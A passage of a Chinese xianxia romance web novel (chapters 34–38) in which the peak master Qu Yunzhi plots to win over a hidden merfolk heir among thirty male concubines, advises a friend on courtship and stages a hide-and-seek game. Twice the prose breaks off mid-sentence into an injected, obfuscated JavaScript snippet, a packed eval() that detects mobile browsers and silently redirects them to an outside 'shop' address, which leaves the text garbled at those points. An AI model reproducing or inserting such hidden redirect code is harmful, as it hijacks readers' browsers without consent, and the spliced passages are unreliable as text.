顾忘忧神色不变,“曲峰主和玄微仙君的手段似乎不大相同。” “或许吧。”曲云织从容道。 看起来玄微同她夺取至宝的方式不一致,与她相比仍能动用至宝的能力。 同为一族人,实力各有高低与优劣。 顾忘忧叹道:“那确实很遗憾。” 遗憾什么? 死的是技高一筹的玄微,留下的是更没用的她? 曲云织眸光晦涩了些。 索性,留下的是她,也只有她。 顾忘忧似看出她心中所想,“曲峰主不必妄自菲薄,玄微仙君可轻易从我这里换走太乙天书,但他却无法同时容纳多件鸿蒙至宝。” 曲云织:“既如此,顾峰主先前在惋惜何事?” 顾忘忧款款道:“众所周知,神族久居云上天不得下界,世俗势力乃人魔妖三足鼎立。” “实则神族把控妖族,手握随时可以发动的鸿蒙至宝这张底牌,人魔两族又纷争不断,难以齐心协力共同抗敌。” “想要打破这一局面,其中的突破口就在如何不惊动神族的前提下,将妖族的傀儡线斩断。” 顾忘忧比了个切割的手势,“这一步我已达成,将妖族气运之子偷了出来。” “若是曲峰主你能发动至宝之力,就相当于神族之前的优势转移到人族,随时有能力掀桌子的成了我们,而失去了妖族至宝,区区神族不足为惧。” 说到这里,顾忘忧不自禁再次叹了口气,“可惜曲峰主做不到,本以为胜券在握的局面又要往后拖延。” 他抬眼直视曲云织,原本随和的语调第一次带上强势的命令意味。 “还请曲峰主尽快将妖族至宝夺取,确保即便我们没有掀桌子的实力,也要让神族只能乖乖坐在棋桌之上。” 曲云织轻轻应下,“必不负所托。” 还好,她没有那个能力随时发动至宝。 否则顾忘忧不一定会将妖族气运之子交给他,而是暂且留着以防她一家独大。 但这情况对她也算不上太好,没有绝对的实力,把柄还被牢牢握住,她只能任由顾忘忧牵引着她行动,乖巧当他手底下一个储放鸿蒙至宝的工具人。 曲云织心中做了个决定。 她迫切需要寻找到顾忘忧的弱点。 35. 第 35 章 几天后,三十个盘靓条顺的俊男被打包送上玉京峰。 一路上众弟子围观惊叹。 还是第一次见人大张旗鼓养男宠,一养就是三十个。 有说曲云织去一趟魔域,不知经历何等惨痛遭遇,回来后心性大变,成了个好色女魔头。 还有的说她本性如此,只是没了玄微仙君压着,一个美貌又正值年华的寡妇,守着孤零零的峰头和一大笔天降横财,行事肆无忌惮些也不奇怪。 不论如何,曲云织的名声近期很难挽救回来了。 纪初澜给三十个男宠办好登记手续,一路顶着弟子们的指指点点,面无表情上了玉京峰。 几日不见,这里已经大变模样。 与玄微仙君钟爱的素雅竹屋不同,山峰上伫立了一座碧瓦朱檐的楼阁,绿茵掩映下,瞧着像一副徐徐展开的山中古画。 然而在这山道尽头,一道人影格格不入杵在那儿,破坏了清幽意境。 纪初澜心中一阵哀叹,招呼那三十个男宠从飞行法器上下来。 他拱了拱手,“颜道友。” 颜清笑眯眯回礼,一张客套虚伪的笑容下,恨不得将逐客令挂在脸上。 “人我就带到了,有事在身便不多留。”纪初澜识趣得很,刚好也不想面对颜清这张笑面虎的脸。 “慢走不送。” 目送纪初澜如释重负的背影,颜清目光一转,落在这群小白脸身上。 一个个眼神躲闪,忐忑而不敢与他对视,畏畏缩缩拥挤成一团,像抱团取暖的小鸡崽儿。 脸生的确实个个都好看,可体格如此细瘦,加之神态萎靡。 师尊怎么会看得上他们? 颜清懒得与这群一无所知的鸡崽儿们计较,敛去眼底的不屑,转身又换了副活泼开朗的表情。 “师尊,人都已经到了。” 吱呀一声。 彩漆木门被轻轻推开,一截黑底金线的裙摆从门扉里荡出,屋舍中走出来的是一位窈窕女子。 肤白而显得眉目深浓,宛如一笔氤氲的墨痕,五官虽艳丽,不笑时却觉清冷寡淡,即便唇角微扬也尤带三分忧愁。 是一位看起来有些温柔,又有些柔弱的美人。 玉面奴们见此,悬着的一颗心终于放下,看起来他们这位主家应当不是什么难相处的。 曲云织将他们的神色变化尽收眼底,不以为意笑了下,目光逡巡,寻找到此次目标—— 被调换的妖族气运之子。 据顾忘忧所说,此人是妖皇与一个鲛族侍女所生之子。 这批玉面奴里有人族,有妖也有半妖,甚至还有掺了点稀薄魔族血脉的类型,主打一个五花八门、百无禁忌。 但带鲛族特征的只有一个。 曲云织的视线只是随意一扫,并没有过多停留,但这惊鸿一瞥已让她意识到此事异样。 躲在人群后方的少年,身姿纤弱单薄,皮肤白到似浸在了水里,阳光下几近透明。 他有着一张还未张开因而雌雄莫辨的面容,是让人第一眼看到就呼吸一窒的极致妖冶,眉心一点朱砂,耳朵的位置呈现蓝紫渐变的半透明鱼鳍状。 这样一张幻梦般的容颜,淹没在男宠堆里却丝毫不起眼。 堂堂妖族气运之子,竟也是一副属于男宠的乖顺讨好、踟蹰不安的神态,哪怕不是气运之子也是妖族皇室血脉,他难道没有一点该有的傲气吗? 为何整个人的精气神如此颓唐暗淡? 曲云织压下心中骤起的波澜,对颜清道:“他们的住处与活计由你来安排。” “是。”颜清端端正正躬身,见师尊没有给这群小白脸过多注意,心下稍安,对待玉面奴的态度都好了些。 他利索地将三十个人引入别院。 曲云织则皱着眉,回到屋内,打开顾忘忧给她的联络水镜。 黄铜色的镜面涟漪涌起,浮现的景象中,顾忘忧正与人对弈,比起之前那些装模作样的情趣,他棋术似乎相当高超,将对面那人的白子三两下逼得溃败。 隐约一道怯弱女声传来,“师尊,我输了。” 顾忘忧摆摆手,一直等脚步声远去,水镜对面只剩他一人,这才端正摆放好镜子,露出一张浅笑的俊脸。 曲云织随口问了句,“方才那位是你大弟子?” “是啊。”顾忘忧摆出慈祥老父亲的忧虑,“那孩子有些怕生,就没让她与曲峰主打招呼。” 曲云织本也不在意这些,直入话题,“妖族气运之子是怎么回事?为何那般萎靡颓弱的模样?” 顾忘忧似这才想起,告饶般拍了拍额头,“差点忘了有一件事要告诉你,毕竟是瞒过神族的大工程,气运之子不是那么好造假的。” “为了混淆真假气运之子的气息,这个可怜的鲛妖定期要放一波血,炼成药物悄无声息混入妖皇饮食中。” “而他持有的鸿蒙至宝暂且被前代妖皇封印,作为婢妾之子,在神族眼皮子底下隐姓埋名地过活。” 顾忘忧眼波漾出一点戏谑笑意,“除了我们,妖族内部无人知晓他才应当是真正的妖皇,连他自己也不知道。” “所以。”顾忘忧的脸凑近了些,眨眨眼睛以示真诚,“曲峰主夺取妖族至宝的过程中需注意两点。” “其一,给予鲛妖莫大的刺激,助他觉醒王族血脉,恢复气运之子的身份。” “其二,这件事是有时限的,混淆气息的药物所剩无几,得抢在现任妖皇身份败露,被神族发现之前。” “对了。”顾忘忧托腮问,“曲峰主能告诉我,你是以何种手段夺取鸿蒙至宝的吗?” 曲云织想了会儿,这也没什么好隐瞒的,笑意盈然,“只要气运之子全心全意爱上我,他们的鸿蒙至宝自然属于我。” 顾忘忧听了,感慨道:“还真是符合你的风格。” 曲云织不轻不重睨了他一眼。 顾忘忧双手合十,可怜兮兮,像将身家性命托付的样子,“只要曲峰主能在时限前,顺利攻陷下鲛妖一颗心,神族不足为虑,你我从此无忧。” “可若是被神族发现端倪——” 他故作害怕地缩了缩肩膀,比了个抹脖子的手势。 曲云织叹道:“那我就只能拉你一起陪葬了。” 顾忘忧竟也不否认。 曲云织主动结束对话,合上水镜,仰面倒在椅背上,陷入了思索。 攻略鲛妖的过程中,还得先帮人家觉醒血脉。 怎样的刺激够用?濒死的危机行不行? 考虑到她需要鲛妖对自己倾心,还是不做什么过分的事了。 曲云织一时间也没个头绪。 “你那三十个小白脸养得怎么样了?” 这天,赵缨又与她凑在了一块儿,先不提她的钓男人计划,反而追问起了曲云织的八卦。 曲云织脸皮被磨炼得厚了不少,面不改色道:“就那样呗,每日叫他们扫扫院子,种种花草,做不了苦 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赵缨原以为曲云织是个冷淡性子,不会对旁人的事感兴趣,没曾想被如此追问。 她组织语言,仍有些磕绊,只能连比带划,“就是冷眼旁观,置身之外,明明行走在人群中却好像与其他人隔了一层膜。” 赵缨羞红了面颊,“反正就是很神秘,感觉有着复杂的过去,让人忍不住想一探究竟的那种。” 曲云织拉长调子“哦”了一声。 赵缨恼羞成怒,连连摇晃她的肩膀。 曲云织被晃得脑袋晕,求饶道:“行,我不逗你了。” “之前答应教你追心上人,我从不食言。”她理了理鬓发,“不如接着上一次未完的话题?” 赵缨动作顿住,眼神一亮,摆好乖巧听众的姿势。 曲云织悠然伸出一根手指,“上次说到有张好看的脸,归根究底是为了营造第一印象。” “往往这样的印象,决定了他人对你的基础认知。” 赵缨面露迟疑。 曲云织一瞥就知道她在想什么,“当然,你在上清仙宗是煊赫彪炳的丹玄峰主,他人对你的印象早已定型。” “所以最适用于你的,是反差。” 赵缨眼底是清澈的茫然。 曲云织解释道:“这我先前也同你说过,譬如丹玄峰主对镜贴花黄,又或者杀伐果断如你只是因为怕疼。” “打破以往既定的形象,让他人对你有全新的认知。” “当然,这个他人特指你的心上人。” 曲云织侃侃而谈,“这种只在他面前流露的不为人知的一面,可以成为你们共同的秘密,关系还能更进一步。” 赵缨不明觉厉,露出满眼的崇拜之色,感觉懂了又好像没懂,“那我该营造怎样的反差?” 曲云织大手一挥,“简单,那就是第二招,投其所好。” 她终于暴露出自己真实的目的,亲切笑容下藏着狡猾的算计,“调查纪初澜的喜好。” 作为浮罗峰唯二的弟子,顺着纪初澜这条线说不准能挖出顾忘忧的情报。 曲云织抛开这个念头,继续谆谆善诱,“若你们有共同的爱好想必能相处得更长久一些。” 赵缨对此毫无所觉,郑重拍胸脯点点头。 “懂了,姐妹你就看我的吧。” 36. 第 36 章 “你觉得曲峰主是个怎样的人?” 来到玉京峰上也有个十天半月,银朱从一开始前途未卜的胆战心惊,到如今已经渐渐习惯。 他们这批玉面奴都是上乘货色,习的是歌舞,学的是侍奉人的手段。 一下子遇到大主顾,本以为会被锦衣玉食地好生养着,或是倒霉点碰上个爱磋磨人的主家。 再怎么也不该是现在这副鬼样子! 身为狐妖与人族的混血,银朱自认他是极美的。 容貌姝丽,新雪般的长发洁净剔透,素来披着桃红李艳的衣裳,偶尔化出毛茸茸的耳朵与尾巴,柔弱无骨地轻轻一撩,便将人魂都勾了去。 然而他眼下只简单裹了件道袍,木簪束发,素面朝天,卷起一截长袖拿扫帚清理落叶,再好看一张脸也迟早被糟蹋! 银朱愤愤摔了扫帚,刚清扫的枯叶堆被气流一吹,溜溜达达往四面八方逃窜。 其中一片落叶飘飞至另一人身前,被他用力踩碎。 元青搁下扫帚,一言不发盯着银朱。 银朱被他黑黝黝的眼睛盯得有些害怕,色厉内荏道:“你看什么?” 元青指着一地狼藉,“你搞出来的,自己收拾。” 银朱气炸了,“我跟你讨论曲峰主的时候,你连声都不带吱的,还以为是个哑巴,怎么地被我搞脏了就知道谴责,这才几天便当起了尽忠职守的仆役?” “堂堂上清仙宗一峰之主,哪用得着我们清扫落叶,分明是故意耍我们玩看不出来吗?” 元青平淡“哦”了声,“无所谓,比起当男宠,我还挺喜欢踏实干活的感觉。” 他算是这批玉面奴里,少数几个纯正的人族,还记得小时候没被拐卖时,也常与家里人一起干农活,对此适应良好。 银朱不屑地轻哼,“就这点出息。” 他削葱般白皙细嫩的手指,带着几分恨铁不成钢戳上元青的肩膀,“我打听过了,曲峰主曾是玄微仙君的道侣。” 那可是卑微如他们这样的玉面奴,都曾在市井传言中憧憬幻想过的仙人。 除上清仙宗掌门外唯一的清虚境大能,几乎半步成仙,可惜最后一劫没能渡过,身陨道消。 银朱悄声附在元青耳边,“你仔细想想,仙君的未亡人,上清仙宗一峰之主,再加上此时身边正空虚。” 他语气带着向往,“要是我能在曲峰主这里搏得一席之地,这不就飞黄腾达了吗?” 元青不为所动,冷漠地抄起扫帚,将银朱与落叶一起扫开,“你怕不是忘了,魔尊正是因为倾心于曲峰主,才大意之下被诛杀。” “就凭你这点勾引人的手段,在曲峰主面前不是班门弄斧吗?” 银朱先是跳脚,随后一噎,不得不承认元青这话说得有道理,他有些不服气地说:“我就试试嘛。” “万一获得了曲峰主青睐呢?” 银朱捡起被他扔在地上的扫把,嗓音不复之前的浮躁,“咱们算是运气好的,头一回就遇上没坏心的大主顾,听说有很多前辈久经转手,被玩得不成人样。” “我就想在这座山头上落地扎个根。” 元青罕见地没有反驳他,“那就安心做好分内之事,相信曲峰主是个与人为善的。” 银朱仍是嘲笑他,“又不是所有人都如你这般老实,同我一样的可不少。” 他这几天瞧见三十个面首里,一大半都有小动作。 “喂,说你呢!就是那个鲛妖,你过来下。” 银朱朝远一些的地方喊了声,摸着下巴琢磨,“我记得你好像是叫品月吧?” 他们这批玉面奴被冠以颜色的称呼,他爱穿红衣于是叫银朱,面前这小子耳鳍是蓝色,黑发黑眼还折射细微的幽蓝光芒。 应当是品月没错了。 银朱搂着品月的肩膀,与他交头接耳地嘀咕,大言不惭表示,“这里面脸最好看的就属你我二人,一个流着狐族的血,另一个是鲛妖,都是最受人族欢迎的类型。” “不如哥哥我帮衬你一把,咱们一起共享曲峰主的宠爱?” 竞争对手太多,先找个盟友再说。 品月直勾勾看了银朱一会儿,低眉敛目,分明有张倾国倾城的脸,却总不爱大方展露,一副畏缩怯弱的模样。 他轻轻地说:“多谢银朱哥哥的爱重,可我自知人微力薄,怕是帮不上什么忙。” “诶,你等等!”银朱眼睁睁看他背影坚决,回去修剪花草。 元青有一丝幸灾乐祸,“你找错人了,品月最不爱出风头。” 银朱险些将扫把掰断,白眼一翻张口就骂,“一点上进心也没有,白瞎了一张好脸!” 这时,他听到有几声倒吸凉气的声音。 银朱正烦躁呢,刚想说几句没见过世面吗,抬头便远远见一道黑衣身影。 自从刚入玉京峰见过一面,这些日子他们连曲云织的影子都找不着,只有每天一大早颜清给他们安排活计时的冷脸。 银朱在视野里烙下那道身影的一瞬,立刻丢开扫帚,局促地整理衣襟发丝,力求摆出最有魅力的角度姿势。 曲云织未曾多看一眼,她似乎只是无意间路过,却忽然像是瞥到什么有意思的东西,脚步一转,站定在了品月身前。 “你叫什么名字?” “……品月。” 曲云织若有所思默念了一遍,指尖拨弄二人间相隔的一盆花草,“这些都是你修剪的吗?” 品月低着头,有些瑟缩,“是。” 曲云织笑着揉了揉他的脑袋,“打理得很不错,从前接触过园艺吗?” 品月抿了下唇,糟糕,下意识将妖族皇宫所见带入到这里来了。 好在曲云织并不多问,她只是有些疑惑,“你为何不肯抬头直视我?我有这么可怕吗?” 品月身形一滞,缓缓仰头。 过长的碎发散落脸颊,他睫羽正不安地翕动,看起来过分脆弱,一双漆黑泛幽蓝光泽的竖瞳却是瑰丽而深邃的,眉心朱砂点染一抹艳色,半透明的耳鳍彰显非人的身份。 宛如深海之中幽暗诡谲的波涛,极致震撼的美与发自本能的恐惧,共同演绎出窒息般的错觉。 曲云织被他美貌所慑,愣了下,笑着夸赞一句,“你生得很漂亮。” 只不过无心之下的随口一言,却引来别院中将近三十个玉面奴的注意。 他们遍寻无果,找不到谋求好感甚至是接近曲云织的方法,却被这看似不争不抢的小子领了先。 名字都被问了,还用一张脸蛋行勾引之事。 这人先前一定是装出来的无害,实则心计深沉得很! 品月隐约察觉到身后十数道不善的目光,刀子似的狠狠扎在他背上。 他手脚僵直,指尖像是数九寒天被冻伤,失去了知觉,呼吸声也微不可闻,唯独眼波揉碎成潋滟湖光,颤颤地映出曲云织含笑的容颜。 品月感到了不知所措。 并非受宠若惊,而是一种模糊的预感。 他素来不主动争抢,遇事第一想到的是回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434941|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避退让,将自己牢牢包裹在一个茧里。 不见,不听,不动。 只要蒙着脑袋,就能蜷缩在安稳的环境中。 可面前女人一句随口夸赞,仿佛一柄淬毒的尖刀,漫不经心将这具茧挑开了细微的口子。 自此以后,一发不可收拾。 他从曲云织身上,嗅到了危险的气息。 * 曲云织离开了别院,抛下被她搅乱心绪的玉面奴们,仿佛她真的只是无意间路过。 顾忘忧那厮告诉她,想要取得鲛妖身上的鸿蒙至宝,得先给他足够的刺激,让其觉醒王族血脉。 但具体该是什么刺激,就得她自己推敲了。 通常这种觉醒血脉,都需要当事人有迫切的渴望。 是濒死的契机?解开过去的心结?还是其他乱七八糟的? 曲云织思来想去,决定因地制宜。 先不着急动手,而是对鲛妖表示偏爱,让这群吃干饭的小白脸们物尽其用,主动找鲛妖的麻烦,观察鲛妖面对不同情形是什么反应。 再根据这种反应,猜测他的行事与性格。 距离顾忘忧给出的时限还有好几个月,一定要慎重。 曲云织呼出一口气。 就在方才,她同步筹划的另一件事也有了进展,通讯玉简上收到赵缨的神识留言。 只见那上面写着—— “姐妹,我按你说的做了,就是那什么反差感,还有投其所好。” “根据我的偷偷观察,纪初澜他平日里没什么爱好,一如既往地有种与他年龄不符的阅历与神秘气质,不过正是他这一点吸引我就是了,嘿嘿。” 曲云织飞快越过这一行,接着往下浏览。 “但我只在某些时候见他流露愉悦之色,就是旁观别人犯蠢。” 曲云织看到这里有种不祥的预感。 赵缨洋洋洒洒写道:“于是我跑去浮罗峰接了个镇压后山灵兽的任务,潇洒地被一头牛创飞,最后可怜兮兮往纪初澜面前一站。” “英姿飒爽如我,私底下也有冒失的一面,笨笨的也挺可爱对吧?” 曲云织:“……” 赵缨的语气肉眼可见烦躁起来,“可纪初澜那个呆瓜脑袋,以为他失职,一脸凝重问我是不是任务难度超出预期,我当时脑子就是一懵,支支吾吾说是的。” “结果他将这个乙级任务提高了整整一倍悬赏,划到了甲级,甚至还为这次失误重新整顿了浮罗峰的弟子。” “全程就没再搭理我,见我站着不走,他居然误会我要追究责任,连声向我道歉。” “我还能怎么办呢?只能硬着头皮说原谅他了。” “玩砸了呜呜,这下叫我怎么有脸见他,所以姐妹,啥时候给我支第二招?” 曲云织放下了玉简,揉捏眉心。 恰在此时,她听到颜清敲门后走进来的声音。 “师尊你知道吗,我兴致勃勃接了一个据说让丹玄峰主挫败的甲等任务,结果发现难度连乙等都够不上,就是把一头发情期的灵牛给揍一顿。” “搞得那笔悬赏我都不好意思接,不过我才没有傻到拒绝天降之财。” 颜清说着忍不住抱怨,“最近浮罗峰是怎么回事?先是被有心人恶作剧安排了三十个玉面奴,现在任务等级都评判失误,我晚些时候指定要投诉他们。” 曲云织:“……” 她叹息一声,“大家都不容易,得饶人处且饶人罢。” 颜清:“?” 37. 第 37 章 颜清是给曲云织带来好消息的。 “师尊,万法宗长老登门拜访,说要见您。” 万法宗? 曲云织想起来,她前些天曾向万法宗寄过去一封信函,将李思归的事情简略说了说。 一封回信和送礼就能解决的事,用得着长老亲自登门? 曲云织暂且将赵缨的事搁置,向颜清说一声知道了,赶往宗门会客的大殿。 万法宗也曾被尊称一声仙宗,因其出过几位清虚境修士,鼎盛时甚至能与上清仙宗分庭抗礼。 可自从多年前双天骄一死一失踪后,宗门渐渐没落,这个“仙”字也被摘掉了。 曲云织见到了一位干瘪枯瘦的老人,万法宗蓝色道袍穿在他身上过分宽松,满头银丝,面容有些愁苦。 一旁,温从声招招手,满面含笑,“曲小友,你可算来了。” 他将曲云织引进来,“我向你介绍,这位是万法宗三长老危悯,也是老夫相交多年的好友。” 危悯慈和笑了笑,“你便是将那封信寄往万法宗的曲道友吧。” 曲云织点头。 危悯轻轻叹了口气,心绪复杂,但有一会儿没说话。 温从声意识到他想单独聊,主动道:“老夫还有些事,不多作陪了。” 等大殿的门被悄声合上,危悯勉强扯出的一丝笑也落了下来,脸上皱纹很深,神色说不出的疲惫。 “李思归的事,能劳烦曲小友仔细同我说道吗?” 曲云织没有当即应下,而是说:“敢问危长老与李思归的关系是?” “师徒。” 危悯看出她的了然,继续补充,“大老远来上清仙宗一趟,是我个人的意思,想知道那不孝徒弟这些年的近况。” “曲道友无需顾虑,有什么尽管说便是。” 既如此,曲云织便将她所知略过一些有关麟符的话题,剩下的事无巨细倒了个干净,想了想,还尽可能生动地描述了李思归的神态。 全程危悯都安静听着,不打断,也没有过多的表情。 直到曲云织说完,他才嘴唇微颤,眼中混杂着释然与更多看不穿的情绪。 “夺舍?原来如此。”他似哭似笑重复了一遍,“原来如此啊!” 失踪多年的徒弟没有死,只是换了个身份,在他不知道的地方还嬉笑怒骂地好生活着。 危悯郑重握住曲云织的手,每一个字都像费了极大力气,“曲小友,多谢你告知。” “我欠你一个人情,往后若有什么事,只要你不嫌弃我这把老骨头,无论如何都会帮上你一把。” 曲云织的笑容发自真心,“哪里,都是我应该做的。” 从会客大殿出来后,曲云织心情很好,连带着赵缨带给她的无语都不打算计较。 丹玄峰主,万法宗三长老,勉强算上顾忘忧那厮,再加上零零散散玄微留给她的人脉。 这个玉京峰主的位置算是坐稳了。 曲云织回到自家山头上,路过山下竹林时顺手摘了片叶子,编一只草蚂蚱出来。 上次编这玩意儿还是在小时候,她手艺难免生疏。 打量这只歪七扭八的潦草蚂蚱片刻,她觉得不满意,遂将其解开成竹叶,松手任由它们飘落。 顺着竹叶飘摇间的缝隙,一间院墙屋舍映入眼帘。 玉面奴们忙完了上午的洒扫工作,正分工准备今日的伙食。 作为男宠自然不可能有多高修为,他们尚未辟谷。 曲云织心想,要不要顺道看看鲛妖的情况? 看他是否如她所愿,成为了众矢之的。 竹叶落下,被毫不犹豫踩踏而过。 以曲云织化形境的修为,欺负这群玉面奴轻而易举,她隐匿气息躲在院墙后,偏头往里打量。 三十个俊俏男子围坐一桌,他们内部分好了小团体,座位之间有远有近,其中她尤为关注的品月,并未如预想中被孤立。 “你们简直欺人太甚!” 银朱拍桌而起,瞪了周围人一圈,“大家都是一样的挑水生火,起锅烧菜,干差不多累的活,凭什么就我们几个分的饭食这么少?” “我们也是为了你好。”有人嘲弄似的轻嗤,“万一吃多了维持不了身材,那张引以为傲的脸变形了该怎么办?” 银朱瞪圆了眼睛,“你!” 他一脚踩上桌子,不甚打翻餐盘,撸起袖子就要往说话之人脸上砸一拳。 元青眼疾手快,一把从银朱背后将他架住。 “放开我!”银朱恶狠狠挥舞着拳头。 出言嘲讽的那人此时也反应过来,“你难道想打我?” 场面乱作一团,过了许久才平息下来。 人都散得差不多,银朱还抱臂坐在原来的位置生闷气。 一只手拉了拉他衣袖。 银朱斜睨一眼,“干嘛?” 品月将护得完好的餐食递过来,笑容温驯无害,“银朱哥哥是受了我的牵连,饭都没吃上一口。” “幸好我这份还留着,就给银朱哥哥你吃吧。” 银朱冷哼,“看你这小豆芽菜的身板,留给自己补身体吧,我气都气饱了。” 闹剧旁观到这里,曲云织目光极为冷淡。 分明这只鲛妖才是争端的源头,他却短时间内就立好了一个靶子,而自己心安理得地躲在后面。 她刚撬开了一丝缝隙,可鲛妖只想缩回壳里,不树敌,不争抢,等待存在感被淡忘。 真是麻烦。 到底怎么养成如此退避怯懦的性格? 妖族会养小孩吗? 曲云织一腔好心情散了个干净,回到屋子里。 颜清见到她眼神一亮,开开心心打了个招呼,“师尊!” 曲云织下意识露出个笑,端详他。 颜清被看得有些紧张,眨了下眼睛,脊背绷得笔直,“怎么了?我有什么奇怪的地方吗?” 曲云织摇了摇头,“你很好。” 相比起来,还是自家小孩磊落大方又自信。 说起来颜清小时候也是个苦大仇深的倔骨头,能像今天这般开朗,曲云织自认有她几分功劳。 以此类推,鲛妖的性格会不会是妖族故意为之? 他从不出头,于是不被任何人注意。 趋利避害,祸水东引,早早学会该如何保护自己。 因为鲛妖是真正的气运之子,他身上有着寄托妖族希望的鸿蒙至宝。 他要在神族眼皮子底下讨生活。 所以,他注定不能见光。 是一个必须被藏起来的孩子。 * “来玩一场游戏吧。” 这天,曲云织心血来潮,召集三十个玉面奴。 当小白脸们如芒在背,以为主家装了这么些天无欲无求,终于露出真面目,不知该担忧还是欣喜时。 就听曲云织若无其事提出要与他们玩游戏。 小白脸们:一上来就玩这么花? 曲云织看穿他们满脑子的黄色废料,嘴角一抽。 她颇有几分无奈,“是捉迷藏游戏,一人扮鬼,其他人躲起来。” 颜清第一个响应,“我我我,我来当鬼!” 曲云织头疼地扫了他一眼,这家伙不知什么时候混到小白脸中间去,乍一看还真有点分不出来。 玉面奴们也吓了一跳,兵荒马乱从他身边远离,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445911|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快空出来一块地。 颜清委屈地瘪瘪嘴,“我这么不受欢迎的?玩游戏也不邀请我。” 小白脸们朝他露出僵硬讨好的笑。 曲云织实在看不过去,出声道:“你加入也可以,不过鬼得由我来当。” 颜清变脸似的,下一刻就眉眼弯弯,“师尊来抓我,挺好的呀。” “好什么?”曲云织没好气道,“给你点特殊待遇,倘若被我抓到是要接受惩罚的。” 颜清非但没有被不公平对待的愤懑,反而开心地咧了咧嘴角。 经过一番插科打诨,玉面奴的神情不如先前紧张。 曲云织见此,当即开始宣布规则,“游戏中不得使用任何神识法术或者宝器外物,仅能凭借身体素质。” “你们有半炷香的时间用于躲藏,范围是整座玉京峰。” 颜清好奇举手,“获胜的条件是什么?” 曲云织从袖中取出两物,一件是巴掌大的云纹小旗,另一件是一个檀木盒子。 “待会儿我会随机将这面小旗给你们当中的一人,旗帜不得转让,必须随身携带,只要在游戏开始后的一个时辰内,此人不被我抓住,就是你们的胜利。” “反之就是我成为赢家。” 曲云织紧接着打开檀木盒子,璀璨光华倾泻而出,引得小白脸们一阵惊叹。 “而这是此次游戏的奖励,一颗千年避水珠,被我藏在身后这间屋子里,只要有人能将它找出来,也算你们取胜。” 小白脸们面面相觑。 半晌,终是有人怯怯道:“曲、曲峰主。” 他咽了口唾沫,这还是头一回与曲云织说上话,“虽然有避水珠做诱饵,但条件仍然对您不利。” 游戏开始后,鬼在屋子里守株待兔,只要他们不妄动就可以轻松获胜。 但鬼如果漫山遍野抓人,就有可能被伺机夺走屋子里的宝贝。 分明是个进退两难的选择。 曲云织冲问话之人含笑点头,“说的不错,所以追加一条规则。” 她竖起一根手指,微弯的唇角莫名有几分妖艳,“鬼允许背叛者的存在。” “你们当中若有人掌握了执旗者的行踪,告诉我,我让你成为最后的赢家。” 此言一出,小白脸们的眼神都变了,看着彼此多出些许防备,与跃跃欲试的兴奋。 不管怎么想,都是当背叛者比较划算。 游戏里曲云织只是站在对立方的鬼,可游戏外她是主宰他们生死的大人物。 这场游戏他们不能赢,反而是转投鬼的阵营,不仅能讨好曲峰主,还能单独在她面前刷印象分。 “师尊。”颜清慢悠悠拉长了调子,“您只说我输了有惩罚,那要是我赢了呢?” 小白脸们神色一变,忘了这里还有一尊不能得罪的大佛。 曲云织好整以暇,“若是你赢了——” “还没想好。”她利索地说,“条件你尽管提便是。” 颜清龇出两颗虎牙,“好哦!” 曲云织背过身去,等身后众人换好了位置,将小旗随意一抛。 嘴上说随机将旗帜给其中一人,但她早已确立好目标。 这面小旗只会落在鲛妖手里。 当手中多出来一物时,品月脸色苍白了一瞬,他左右偏头,见两侧人闭着眼睛,谁也不曾察觉。 鲛妖将柔软的旗帜攥得死紧,沉默地收入袖中。 “计时开始。”曲云织点燃了半炷香。 香灰见底的刹那,她闲闲一勾唇,足尖轻点,身形如惊鸿掠影般跃入山林。 瞬息之间搭上正惊慌逃窜之人的肩膀。 “抓到你了。” 38. 第 38 章 玉京峰上素来幽静的林子,此时枝叶攒动,伴随哗啦啦的落木踩断声,几片衣角飞速掠过。 面首们正在奔逃,顾不上娇嫩的肌肤被树枝划破小口子,迎面刮来的风在伤口雪上加霜,他们耳边只听到自己无以为继的喘息,还有凌乱却正逐渐减少的脚步。 原以为这只是曲峰主闲来无事的一场游戏,费尽心思讨好一下得了。 可当香灰燃尽,“鬼”出动的刹那。 宛如一匹优雅的野兽蹿进丛林,不紧不慢挥动尖利的爪子踱步,早已将猎物纳入追逐。 彼时玉面奴们还三三两两聚在一起谈天说笑,满心以为偌大一片山林踪迹没那么好找,他们完全可以慢悠悠晃荡。 不曾想曲云织悄无声息出现在他们背后,纤弱的五指拢在颈上轻轻一捏,方才还神采奕奕的人软倒在地。 玉面奴们惊声尖叫,下一刻拔腿就跑。 他们脑子里还残留着刚刚那一幕留下的惊惧,全然出乎意料的发展,同伴猝不及防昏死,为数不多的冷静早已土崩瓦解。 短短片刻,三十个人折了大半。 余下之人逃了许久,不知是谁发现颜清的身影,跟上他能尽可能甩脱曲云织的穷追不舍,于是陆陆续续凑成了一支小队。 终于,这场心惊胆战的追逐勉强留给他们一丝空闲。 前方颜清的背影停下,而身后曲云织步步紧逼的节奏也暂缓。 小白脸们有的扶着树木干呕,有的被冷空气呛得直咳嗽,更有的不顾形象往地上一瘫。 “曲峰主……咳……没想到曲峰主如此身手了得。”嘶哑得像嗓子里冒火的声音说。 换来一众人的赞同。 颜清站在一截树干上,垂眼俯视歪七扭八的玉面奴们,理所当然笑道:“师尊在被玄微仙君接来上清仙宗前,可是孤身一人在凡间俗世闯荡,没点功夫在身都不行。” 他摊了摊手,与其说控诉更像一种炫耀,“不动用修为的情况下,我也只有挨打的份。” 小白脸们:“……” 